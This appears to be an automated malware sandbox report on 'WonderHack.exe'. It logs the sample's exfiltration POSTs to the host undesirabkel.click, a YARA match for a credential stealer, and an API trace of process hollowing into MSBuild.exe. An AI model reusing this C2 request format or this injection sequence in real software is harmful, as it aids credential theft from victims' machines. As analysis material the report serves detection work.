Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.5	49712	104.21.30.13	443	6152	C:\Users\user\Desktop\WonderHack.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-27 22:15:07 UTC	281	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=HJV8WP9P90OKEH2 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 20556 Host: undesirabkel.click
2024-12-27 22:15:07 UTC	15331	OUT	Data Raw: 2d 2d 48 4a 56 38 57 50 39 50 39 30 4f 4b 45 48 32 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 37 44 39 34 31 36 37 45 34 43 42 42 30 43 44 44 44 39 41 43 32 31 32 44 31 35 44 33 33 39 31 37 0d 0a 2d 2d 48 4a 56 38 57 50 39 50 39 30 4f 4b 45 48 32 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 48 4a 56 38 57 50 39 50 39 30 4f 4b 45 48 32 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 50 6e 68 71 6f 2d 2d 79 62 7a 6b 6c 7a 70 61 6e 6c 77 70 0d 0a Data Ascii: --HJV8WP9P90OKEH2Content-Disposition: form-data; name="hwid"7D94167E4CBB0CDDD9AC212D15D33917--HJV8WP9P90OKEH2Content-Disposition: form-data; name="pid"3--HJV8WP9P90OKEH2Content-Disposition: form-data; name="lid"LPnhqo--ybzklzpanlwp
2024-12-27 22:15:07 UTC	5225	OUT	Data Raw: 89 c4 4d c9 4d d9 5a b5 da 68 27 0c 46 c7 33 b7 ee 57 14 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 75 6e 20 0a e6 d6 fd 34 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b0 ce 0d 46 c1 dc ba 9f 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d6 b9 81 28 98 5b f7 d3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 3a 37 18 05 73 eb 7e 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 58 e7 06 a2 60 6e dd 4f 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 eb dc 60 14 cc ad fb Data Ascii: MMZh'F3Wun 4F([:7s~X`nO`
2024-12-27 22:15:08 UTC	1136	IN	HTTP/1.1 200 OK Date: Fri, 27 Dec 2024 22:15:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=c3pmal3aen1bo3hc50tu0fnosd; expires=Tue, 22 Apr 2025 16:01:46 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=PT%2FKcgfVfRMwiovTMwCPpwPzuJIi8q%2BrfV%2F%2BR78xZFLGu7RvrEfdxaIyg82VrFwFPVxJkKEAAI5LmAF0umBmtFWG59z%2BGq7rqLdRzagg02jH4UXxSd5MQV5GMKhgD3MtNOQryrg%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f8caade38610cb4-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2143&min_rtt=1725&rtt_var=1484&sent=12&recv=23&lost=0&retrans=0&sent_bytes=2846&recv_bytes=21517&delivery_rate=575596&cwnd=245&unsent_bytes=0&cid=f97eb9d18662216c&ts=1244&x=0"
2024-12-27 22:15:08 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-27 22:15:08 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.5	49713	104.21.30.13	443	6152	C:\Users\user\Desktop\WonderHack.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-27 22:15:09 UTC	276	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=8BZRJOZSM1G User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1217 Host: undesirabkel.click
2024-12-27 22:15:09 UTC	1217	OUT	Data Raw: 2d 2d 38 42 5a 52 4a 4f 5a 53 4d 31 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 37 44 39 34 31 36 37 45 34 43 42 42 30 43 44 44 44 39 41 43 32 31 32 44 31 35 44 33 33 39 31 37 0d 0a 2d 2d 38 42 5a 52 4a 4f 5a 53 4d 31 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 38 42 5a 52 4a 4f 5a 53 4d 31 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 50 6e 68 71 6f 2d 2d 79 62 7a 6b 6c 7a 70 61 6e 6c 77 70 0d 0a 2d 2d 38 42 5a 52 4a 4f 5a 53 4d 31 Data Ascii: --8BZRJOZSM1GContent-Disposition: form-data; name="hwid"7D94167E4CBB0CDDD9AC212D15D33917--8BZRJOZSM1GContent-Disposition: form-data; name="pid"1--8BZRJOZSM1GContent-Disposition: form-data; name="lid"LPnhqo--ybzklzpanlwp--8BZRJOZSM1
2024-12-27 22:15:10 UTC	1132	IN	HTTP/1.1 200 OK Date: Fri, 27 Dec 2024 22:15:10 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=q69o4s28jta8rbl23fnveena1v; expires=Tue, 22 Apr 2025 16:01:49 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Y%2FKvTO7HCy5hDE%2BtIj2u3OiuwRBPLl4QEd8gatspAmgIY08%2B%2BQN8a7TNK4woTKSYYiHv2G3A0DC5PTthcDQ8FBvqrvYTysdl6bxyDbEk%2Bg87Kt2yYp3cOw6mHhHB4BbmmPilClM%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f8caaefadf18c87-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1819&min_rtt=1803&rtt_var=710&sent=6&recv=7&lost=0&retrans=0&sent_bytes=2844&recv_bytes=2129&delivery_rate=1506707&cwnd=214&unsent_bytes=0&cid=9dd26fdf536f0193&ts=819&x=0"
2024-12-27 22:15:10 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-27 22:15:10 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.5	49714	104.21.30.13	443	6152	C:\Users\user\Desktop\WonderHack.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-27 22:15:12 UTC	286	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=NT8J9BVVO7R0L2J17CO User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 584598 Host: undesirabkel.click
2024-12-27 22:15:12 UTC	15331	OUT	Data Raw: 2d 2d 4e 54 38 4a 39 42 56 56 4f 37 52 30 4c 32 4a 31 37 43 4f 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 37 44 39 34 31 36 37 45 34 43 42 42 30 43 44 44 44 39 41 43 32 31 32 44 31 35 44 33 33 39 31 37 0d 0a 2d 2d 4e 54 38 4a 39 42 56 56 4f 37 52 30 4c 32 4a 31 37 43 4f 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 4e 54 38 4a 39 42 56 56 4f 37 52 30 4c 32 4a 31 37 43 4f 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 50 6e 68 71 6f 2d 2d 79 62 Data Ascii: --NT8J9BVVO7R0L2J17COContent-Disposition: form-data; name="hwid"7D94167E4CBB0CDDD9AC212D15D33917--NT8J9BVVO7R0L2J17COContent-Disposition: form-data; name="pid"1--NT8J9BVVO7R0L2J17COContent-Disposition: form-data; name="lid"LPnhqo--yb
2024-12-27 22:15:12 UTC	15331	OUT	Data Raw: ac 60 42 53 41 9d a0 e7 f6 24 6c de 48 9c 08 be 5f c9 9e 64 da 02 0f 7e fd 23 19 c7 81 87 23 2c b3 88 2d ff 3c 56 29 e2 ee d2 12 f0 c1 9d 4f 62 51 6f c3 29 cd 4d b5 04 eb 5e 28 a4 2e 64 45 d5 e5 11 56 c8 e6 a1 e2 a2 37 c6 33 15 ba 06 2d 52 72 d5 4f 0d c6 60 f7 66 c1 35 b5 5e 7b c8 3d c1 f9 1a b4 44 d0 28 df 7b 16 04 b7 0f aa 05 62 81 a9 e4 17 c6 50 fa cd cd 37 65 8f 15 4b d9 89 b7 9b 49 20 e1 77 b1 35 f0 fb 01 c6 c4 50 2d e3 3a db 67 1c 85 01 27 3e 53 23 e4 3e 51 4f 83 e0 2c 3c 2c 8a 8e d0 4f 84 d8 80 35 cd 0f 72 ee a3 a8 68 2e 6a eb 15 54 97 cc b7 29 c6 2d e5 03 d6 14 b7 55 00 2b fe 2a 72 9c 46 cd 66 61 9e fe 2e 27 7a 00 0e ce 0e c7 d1 74 00 92 83 fd ef 76 18 6f 90 0a c6 45 d6 a4 f7 21 90 89 b1 fd e0 11 89 a5 b6 3e a2 ac 87 99 e5 7d 75 c3 0a 8a 03 95 e8 Data Ascii: `BSA$lH_d~##,-<V)ObQo)M^(.dEV73-RrO`f5^{=D({bP7eKI w5P-:g'>S#>QO,<,O5rh.jT)-U+*rFfa.'ztvoE!>}u
2024-12-27 22:15:12 UTC	15331	OUT	Data Raw: 3e 5a b4 93 80 ce c5 29 52 87 32 af eb d5 e1 56 4f 7c c5 8f 28 8d bd 8f 89 d4 47 b7 4b 84 ed 23 ed 82 8b bf 54 df 2c 10 40 a1 be 4d 85 5f 5c 12 89 be 55 66 b3 4b 62 87 10 69 a1 aa ae 6d 30 98 38 e5 e5 65 37 92 e5 3d a5 7a 7b b3 cf 54 98 9f 7f d5 b1 8c fa 14 08 14 a3 48 7f ba 31 47 fa e6 91 f8 6c 41 0d ae 39 91 86 ff 70 9a 64 5a 3f a0 94 7a 37 7c df 64 a3 1e 4b e1 92 23 a3 5b bc 57 14 e4 1d bd 82 6a ca ca ec 62 d4 ce 69 bd 5d 5e bd 3d 18 a2 b3 dd 3d e8 df 71 72 ae 49 f6 ba 7f 1d f7 cb f5 c1 41 f6 c0 8c 0b 6b 34 09 22 67 0d c7 de 77 1a 6f d5 5d 56 09 6a d1 68 2e ff b1 25 69 78 26 f8 7d f4 8b b7 b6 d4 a0 cb 38 50 c0 31 db d2 25 02 f2 5a 9a de 84 8f 2f ef f2 c2 7c 45 47 43 c0 ef 91 c3 a2 01 d6 79 0a 1e 6c 95 80 8d 4a c1 cd 4f 80 f5 15 31 62 72 7f 26 1e 01 4f Data Ascii: >Z)R2VO\|(GK#T,@M_\UfKbim08e7=z{TH1GlA9pdZ?z7\|dK#[Wjbi]^==qrIAk4"gwo]Vjh.%ix&}8P1%Z/\|EGCylJO1br&O
2024-12-27 22:15:12 UTC	15331	OUT	Data Raw: 87 3f d9 63 da f8 4c 25 e1 e7 d3 9c 87 da 96 56 ce f2 6d fe 9b 24 27 ae 05 cc ca f4 6a 07 1c c7 cb 14 5e 7c 6b df 6e f4 75 13 86 67 4f 04 c4 cb bd f2 aa bc c5 be e0 59 28 22 7d 91 07 7c 99 d7 a1 b2 d7 96 3a 01 fe 5f 4d b0 01 3e 67 54 75 0c dd 27 cf 38 ea 3e 10 4a dd 3d 0b 01 f7 82 bd 00 9b 50 23 37 74 9e 00 0d e6 2f 71 51 0f a6 46 5a 28 03 92 3b dd f8 3d ff ea 2e 97 96 a3 c0 a9 cd a9 65 aa d3 b7 2f 15 3f 74 76 ee 5e fd c0 49 7f 3b c6 4f 3d e8 40 b9 e4 a1 4d b3 2a 80 79 ef 7e 1a 42 54 f8 05 b3 9e 13 72 be be e0 24 72 34 1f a8 0f 10 52 a7 06 3f 2e 68 06 74 dd 5a 1c 3f c2 f1 bd aa b9 55 2f 72 c3 4c 64 44 8a 38 f2 e2 4f c0 98 c7 a9 8a a1 00 2a 0d 51 f4 a4 26 7c 62 a9 66 f4 cd ee 72 7b 41 b1 82 fb c8 c4 d6 af 4b ba 4b 37 04 ee e4 31 02 de 34 d0 8b 74 f4 2f 7c Data Ascii: ?cL%Vm$'j^\|knugOY("}\|:_M>gTu'8>J=P#7t/qQFZ(;=.e/?tv^I;O=@My~BTr$r4R?.htZ?U/rLdD8OQ&\|bfr{AKK714t/\|
2024-12-27 22:15:12 UTC	15331	OUT	Data Raw: c2 14 46 51 70 39 80 57 a8 e5 81 79 5e 4b 21 aa 0a 8b 04 f8 d0 c5 5f fd aa 33 f5 36 b1 c9 44 dd e6 19 39 2a 7d 9e f9 c6 db 2a 3d a6 5c 3b 25 c1 08 75 a7 7b 46 ec 05 37 14 82 c7 dc 95 54 79 53 6a 69 88 37 d7 9f 9e ed 08 26 db 71 bd 64 68 15 29 1b 61 96 b0 80 4e 83 f5 da e0 b4 24 41 71 fb a5 94 8e d3 58 3c e6 30 38 2f c8 55 2f d8 3b 78 e4 a8 67 3d 8c d9 b8 49 4a 17 d0 fa bf 45 fa ff df e5 2a 2f 58 9b 84 25 a0 40 da bc 20 c9 1f dc 44 6a 21 81 ee d9 e1 34 22 8a 12 4d 96 44 73 b1 a4 2a 99 5b e5 20 0b fe 05 07 90 d3 0a f3 bc ef 05 c1 4d 5e ef b3 11 18 67 7c 0e b5 ba f1 f9 a3 07 19 ff b8 60 33 92 9f d6 eb c6 33 a1 d4 19 5e 7d 1c 8a ac e4 f2 56 ae 0c 00 07 ed b0 d7 8a b0 6c a9 24 a2 65 6a 08 6c da 28 c9 52 81 da bd bf 69 89 7e 14 64 b5 72 8f 4b f4 b0 43 66 ef ef Data Ascii: FQp9Wy^K!_36D9}=\;%u{F7TySji7&qdh)aN$AqX<08/U/;xg=IJE/X%@ Dj!4"MDs[ M^g\|`33^}Vl$ejl(Ri~drKCf
2024-12-27 22:15:12 UTC	15331	OUT	Data Raw: f0 dc 55 31 6a 48 24 73 1f e4 24 66 39 8c 71 b8 38 01 7e 36 15 3e 4a e3 b9 30 19 2c e7 95 64 66 12 ca 04 b1 4b 16 07 b7 cb a7 a6 71 72 16 44 c5 18 2f 76 5f 39 f7 8a f5 a9 9e 3e f4 93 d3 c8 d2 1c 87 86 07 50 64 85 e5 73 8d 2a ad 6f 14 92 e8 d6 2f 4f 9a 48 c3 04 cc d4 71 32 99 5c 6f 18 1d 22 b0 a1 ab d2 76 44 28 f8 03 e3 80 d5 c1 62 8e 24 38 28 7d dc 85 38 06 4c 0b d8 91 36 6d c0 c8 b8 a3 3f 87 59 e1 e2 5c bb 66 10 cf be 75 89 e2 7a 84 98 2e 45 e8 c9 2d 4c 2f f6 a0 ff da 91 5b 60 ac 21 8c d8 37 8f 1e ff b3 9b e5 26 05 96 d2 f7 93 b7 c6 e3 54 ad 5d fa e2 bf ae 78 43 74 27 7e f4 77 1b 9b c4 b9 af b1 4e d7 77 e1 1c d6 e3 e1 65 b1 33 f6 6d 38 ba cb f8 c6 6f cb c2 04 5e 0c 91 7a 49 2c 2e b8 51 77 42 12 75 4b 84 92 bb a2 36 2a 5b 92 94 e4 a5 79 68 3c b1 e8 be 36 Data Ascii: U1jH$s$f9q8~6>J0,dfKqrD/v_9>Pdso/OHq2\o"vD(b$8(}8L6m?Y\fuz.E-L/[`!7&T]xCt'~wNwe3m8o^zI,.QwBuK6[yh<6
2024-12-27 22:15:12 UTC	15331	OUT	Data Raw: 5d e8 b7 e6 2d 92 89 90 0b 6e 90 56 4a c5 12 7e 3a bf 38 b1 35 1e eb 26 64 97 4d 57 dd 2d 7b 4b b4 47 f6 c0 df a4 6e 96 d5 d6 0e 17 c9 08 d7 3d 71 58 18 13 94 b2 99 ac 83 6e db ba db fd 40 47 c2 6b 3b 36 ec 02 3b 4b 84 64 bb 16 ae ee 10 1e 05 a3 70 1e 41 71 e8 08 0b e3 07 d7 97 76 80 17 1d ad 26 46 e1 21 53 02 0d da 23 f5 86 d9 70 22 c3 da b9 3a 55 2c 57 8c 82 8d 30 cc 21 9e ca a6 13 be 99 e2 79 78 30 24 f0 33 88 56 f5 66 79 bf 27 1f d5 f9 08 c5 b9 4c 25 2d 54 1e fa f2 14 45 86 4d 66 0e d3 19 6a 03 a1 96 ac 14 5d 41 95 ef e5 e2 e7 7a 8e 0a 51 71 81 b8 94 46 69 6a 74 a0 c0 86 fb 1e 7c 5a 58 05 df 44 ec fc 42 be a9 ee 97 20 7e 56 51 6c 70 ba 6a b7 1b 42 64 a4 52 70 4c d6 72 e0 79 a7 8c 2f 91 ab f9 9e bb ef 43 c4 af 24 9b 0d e8 1d 27 d9 54 70 a1 84 d5 5a ab Data Ascii: ]-nVJ~:85&dMW-{KGn=qXn@Gk;6;KdpAqv&F!S#p":U,W0!yx0$3Vfy'L%-TEMfj]AzQqFijt\|ZXDB ~VQlpjBdRpLry/C$'TpZ
2024-12-27 22:15:12 UTC	15331	OUT	Data Raw: dc 19 f8 64 78 46 0b a3 f8 18 71 6a b4 e3 b4 68 82 c8 07 34 1c e5 51 f6 3a 99 7c 7f 99 83 9f 2e e2 8b 55 49 83 d7 e4 a6 57 ac aa 07 4d 49 69 12 b9 c5 18 dc 0b cc 51 67 fa 1e 90 ab 8d f1 78 87 77 0c 5f 65 ec 1d 7d 1a 7a e4 70 6c d2 78 55 17 06 34 fe 84 e2 ca e7 e4 02 fe 80 6f bc 3f fe 4f 37 05 df 6c de 63 86 67 7c 1d ea 82 d6 dd df 5d d4 f4 a3 d9 73 bf 59 ff 11 51 e5 7e ee e3 bd d4 ed db ac ea f8 ef c3 f8 3b 0b 43 85 b9 63 99 5e 8c 13 73 97 94 f9 5b a0 8e bc df 2b 23 4a 57 58 17 99 c9 4b cb f3 ad e7 d9 1d 9d 6a f7 05 12 05 c0 b6 96 7b ad fc 8c 88 da ee 91 ff 0f 53 6f 1e 0f f5 1a fe ff df ef 59 cc 18 cb 0c d9 d7 91 36 45 94 16 4b cc 50 e1 1c 2d 4a 85 84 91 42 d9 46 f6 75 c6 16 a7 84 4e 0b 95 65 5a 29 b2 46 52 18 4b 51 84 b2 ef 63 df f7 65 30 db 6f 3a 9f ef Data Ascii: dxFqjh4Q:\|.UIWMIiQgxw_e}zplxU4o?O7lcg\|]sYQ~;Cc^s[+#JWXKj{SoY6EKP-JBFuNeZ)FRKQce0o:
2024-12-27 22:15:12 UTC	15331	OUT	Data Raw: 7d c9 5e a7 0b 67 23 32 d3 03 14 9c 6a 58 87 f0 b4 23 9c df 63 75 ba 54 eb 9a 35 06 17 bb e1 a3 03 ed cb a8 dc 57 4d 48 e3 d4 b9 d5 86 fa 19 d2 e6 ef 92 b5 a8 3a 48 7f 84 af ef 96 da e8 cb d6 b3 76 e1 88 d0 d0 4b d0 0b be 76 f9 27 ae 09 5c 9b 95 f6 a0 bb 23 04 40 ea 9d 8c 6c ba 3e 4c d7 24 b2 7b 3e fb 2b df 85 e9 59 cd 66 b9 3f cb 33 38 ab 0b d6 dc b2 7f 6b 83 de bf 5c 40 f8 84 55 05 ba 76 46 dc b4 d3 e5 58 9a 72 e5 52 6b ce ad df 6c 93 29 54 95 32 53 c0 62 52 3e 74 a8 e9 a5 f1 cb bc 12 d6 ae eb 0b 82 27 dc 7b 62 99 f6 1f ae f1 11 83 f8 8b 47 7d 83 62 54 c6 09 fd 0d ff e2 2e f2 dc ed a6 6b 55 f6 dd 5b 27 e0 74 7f 62 7e 6b b1 a2 2c 78 5c 02 83 93 ef 89 c9 28 14 7f 13 03 fe 70 ae 5e 7b ad e9 ed 06 68 d8 ec c7 89 9c cb 5f a3 f9 35 49 c7 3c ff c4 4b 28 42 51 Data Ascii: }^g#2jX#cuT5WMH:HvKv'\#@l>L${>+Yf?38k\@UvFXrRkl)T2SbR>t'{bG}bT.kU['tb~k,x\(p^{h_5I<K(BQ
2024-12-27 22:15:12 UTC	15331	OUT	Data Raw: 48 6e 6b 50 77 48 73 46 46 39 af 9a 59 c8 74 60 87 af 57 dd 25 d4 1b 06 6e 9a 76 3b 70 86 c7 fe 1a db 92 d7 00 a9 e8 8d a3 e7 d1 5d 1a 60 b6 e2 bd 8e 08 10 63 85 f1 38 d8 cb 30 ba 87 1d a0 7f 1c 0c d7 b7 fd e8 69 b7 3e 5b d4 ec dc 3a a1 a1 74 14 fd 7f 06 79 e8 e8 ca 45 f2 e1 ea 2c 20 ed db e8 14 15 3e 73 09 e8 ec d5 3a fa 17 20 05 85 2c 3a 6b 46 d2 0f 7a 67 cc af e1 16 9f 7e 31 db 21 75 b7 f1 c4 8e ae 88 ca 20 9b 23 5a 84 4e 1a 3c 92 1a 09 22 a9 11 20 96 eb f6 b2 74 f4 16 0a a1 69 fb 20 aa d2 bc 45 e6 cb ae 6c bb 8a 23 d9 76 72 1d e1 1f f4 b2 af 6c 04 3f b0 c5 b6 24 5a e4 0f 42 d5 68 60 99 7f f6 42 f9 e4 7b 34 67 f8 00 8c de 74 c1 5c e1 e3 51 e0 8e e4 f1 89 fe b3 0f 69 7f a6 1f 51 7b 85 c0 e3 88 8a 4b 20 29 3f ef d1 65 88 a8 60 49 e4 ff 5d 5d 29 3e 69 75 Data Ascii: HnkPwHsFF9Yt`W%nv;p]`c80i>[:tyE, >s: ,:kFzg~1!u #ZN<" ti El#vrl?$ZBh`B{4gt\QiQ{K )?e`I]])>iu
2024-12-27 22:15:15 UTC	1137	IN	HTTP/1.1 200 OK Date: Fri, 27 Dec 2024 22:15:14 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=sbthgjcf4da87i40h5stjvcedr; expires=Tue, 22 Apr 2025 16:01:53 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=bEJXaVN%2BJMBTnRl74S3yelvgPzrGB4zqNNFPzHDqKJCF2nOsxqAk2rPxQMWH%2BQajw9uW3Ubl53ienUnFQP5YFuZ8DmJ14xb7ImWZPzH1xcXJdEiD%2BsJs45DoJzExyNFXETQ%2FyS8%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f8cab02088f4398-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1732&min_rtt=1711&rtt_var=685&sent=205&recv=605&lost=0&retrans=0&sent_bytes=2845&recv_bytes=587192&delivery_rate=1548250&cwnd=230&unsent_bytes=0&cid=833121bbfdb7dcdb&ts=2357&x=0"

Target ID:	0
Start time:	17:14:53
Start date:	27/12/2024
Path:	C:\Users\user\Desktop\WonderHack.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\WonderHack.exe"
Imagebase:	0x190000
File size:	561'192 bytes
MD5 hash:	83614DC842994C0ADABD914B7273D6CC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	17:14:53
Start date:	27/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	17:14:54
Start date:	27/12/2024
Path:	C:\Users\user\Desktop\WonderHack.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\WonderHack.exe"
Imagebase:	0x190000
File size:	561'192 bytes
MD5 hash:	83614DC842994C0ADABD914B7273D6CC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000003.00000003.2145423339.0000000002C5E000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000003.00000003.2145458267.0000000002C66000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	6.4%
Dynamic/Decrypted Code Coverage:	1%
Signature Coverage:	3.6%
Total number of Nodes:	839
Total number of Limit Nodes:	12

Executed Functions

Function 001CA19E Relevance: 42.3, APIs: 10, Strings: 14, Instructions: 295
threadinjectionmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessW.KERNELBASE(?,00000000,00000000,00000000,00000000,00000004,00000000,00000000,001CA110,001CA100), ref: 001CA334
VirtualAlloc.KERNELBASE(00000000,00000004,00001000,00000004), ref: 001CA347
Wow64GetThreadContext.KERNEL32(000000A0,00000000), ref: 001CA365
ReadProcessMemory.KERNELBASE(00000090,?,001CA154,00000004,00000000), ref: 001CA389
VirtualAllocEx.KERNELBASE(00000090,?,?,00003000,00000040), ref: 001CA3B4
WriteProcessMemory.KERNELBASE(00000090,00000000,?,?,00000000,?), ref: 001CA40C
WriteProcessMemory.KERNELBASE(00000090,00400000,?,?,00000000,?,00000028), ref: 001CA457
WriteProcessMemory.KERNELBASE(00000090,?,?,00000004,00000000), ref: 001CA495
Wow64SetThreadContext.KERNEL32(000000A0,04720000), ref: 001CA4D1
ResumeThread.KERNELBASE(000000A0), ref: 001CA4E0

Strings

VirtualAlloc, xrefs: 001CA263
ReadProcessMemory, xrefs: 001CA289
ResumeThread, xrefs: 001CA2D8
GetP, xrefs: 001CA21E
VirtualAllocEx, xrefs: 001CA29C
CreateProcessW, xrefs: 001CA250
C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe, xrefs: 001CA333
Load, xrefs: 001CA1DA
ress, xrefs: 001CA226
GetThreadContext, xrefs: 001CA276
SetThreadContext, xrefs: 001CA2C2
WriteProcessMemory, xrefs: 001CA2AF
aryA, xrefs: 001CA1E2
TerminateProcess, xrefs: 001CA3C3

Memory Dump Source

Source File: 00000000.00000002.2014560632.00000000001CA000.00000040.00000001.01000000.00000003.sdmp, Offset: 00190000, based on PE: true

